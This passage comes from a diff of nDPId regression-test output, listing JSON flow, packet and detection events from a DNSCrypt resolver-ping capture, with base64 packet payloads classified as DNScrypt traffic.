AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":351,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":141,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318061081,"flow_src_last_pkt_time":946739318061081,"flow_dst_last_pkt_time":946739318061081,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318061081,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":40138,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":352,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739318061087} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":352,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739318061081,"pkt":"REREREREZmZmZmZmCABFAABQXckAub0RgyoKAAABjgTNLwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":353,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":142,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318061101,"flow_src_last_pkt_time":946739318061101,"flow_dst_last_pkt_time":946739318061101,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318061101,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":51935,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_src_last_pkt_time":946739318061101,"flow_dst_last_pkt_time":946739318061101,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739318061101,"pkt":"REREREREZmZmZmZmCABFAAXcXcsgAL0RXlUKAAABjgTNL8rfAbsGBBssqlcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":353,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":142,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318061101,"flow_src_last_pkt_time":946739318061101,"flow_dst_last_pkt_time":946739318061101,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318061101,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":51935,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":354,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739318061118} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":354,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739318061101,"pkt":"REREREREZmZmZmZmCABFAABQXcsAub0RgygKAAABjgTNLwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":355,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":143,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318061197,"flow_src_last_pkt_time":946739318061197,"flow_dst_last_pkt_time":946739318061197,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318061197,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":54096,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":355,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_src_last_pkt_time":946739318061197,"flow_dst_last_pkt_time":946739318061197,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739318061197,"pkt":"REREREREZmZmZmZmCABFAAXcXcwgAL0RXlQKAAABjgTNL9NQAbsGBBK3qlsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":355,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":143,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318061197,"flow_src_last_pkt_time":946739318061197,"flow_dst_last_pkt_time":946739318061197,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318061197,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":54096,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00773{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":356,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":2,"flow_src_last_pkt_time":946739318038155,"flow_dst_last_pkt_time":946739318061202,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"thread_ts_usec":946739318061202,"pkt":"ZmZmZmZmRERERERECABFAADX+4lAADQRFDCXUN5PCgAAAQG7y0gAw+xKXDCBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADbIkde1\/iXw9F8aP3hFzW\/UlCbjrsaMoYt8+MW53XVHmJZ40u2KJ1Y5p9+bOkgm9KOg6J\/Jk5OIIo5rrGKNcsPhxVktS2XlAVyckcTA1HXSkhBDvC7R+LCFU83mg2ymgqHFWS1LZeUBQAAAAFfU5R+X1Tl\/g=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":357,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739318061216} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":357,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739318061202,"pkt":"REREREREZmZmZmZmCABFAABQXcwAub0RgycKAAABjgTNLwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":358,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":144,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318061289,"flow_src_last_pkt_time":946739318061289,"flow_dst_last_pkt_time":946739318061289,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318061289,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":35903,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01202{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_src_last_pkt_time":946739318061289,"flow_dst_last_pkt_time":946739318061289,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739318061289,"pkt":"REREREREZmZmZmZmCABFAAIcXc1AAL0RQhMKAAABjgTNL4w\/AbsCCB4KqlgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":358,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":144,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318061289,"flow_src_last_pkt_time":946739318061289,"flow_dst_last_pkt_time":946739318061289,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318061289,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":35903,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} @@ -737,18 +625,12 @@ 00781{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":367,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":147,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318169070,"flow_src_last_pkt_time":946739318169070,"flow_dst_last_pkt_time":946739318169070,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318169070,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":33279,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02485{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_src_last_pkt_time":946739318169070,"flow_dst_last_pkt_time":946739318169070,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739318169070,"pkt":"REREREREZmZmZmZmCABFAAXcuocgAL0R36EKAAABwb+7a4H\/AbsGBBdyLyoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00886{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":367,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":147,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318169070,"flow_src_last_pkt_time":946739318169070,"flow_dst_last_pkt_time":946739318169070,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318169070,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":33279,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":368,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739318169102} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":368,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739318169070,"pkt":"REREREREZmZmZmZmCABFAABQuocAub0RBHUKAAABwb+7awAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00781{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":369,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":148,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318169132,"flow_src_last_pkt_time":946739318169132,"flow_dst_last_pkt_time":946739318169132,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318169132,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":54215,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_src_last_pkt_time":946739318169132,"flow_dst_last_pkt_time":946739318169132,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739318169132,"pkt":"REREREREZmZmZmZmCABFAAXcuokgAL0R358KAAABwb+7a9PHAbsGBMWnLywBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA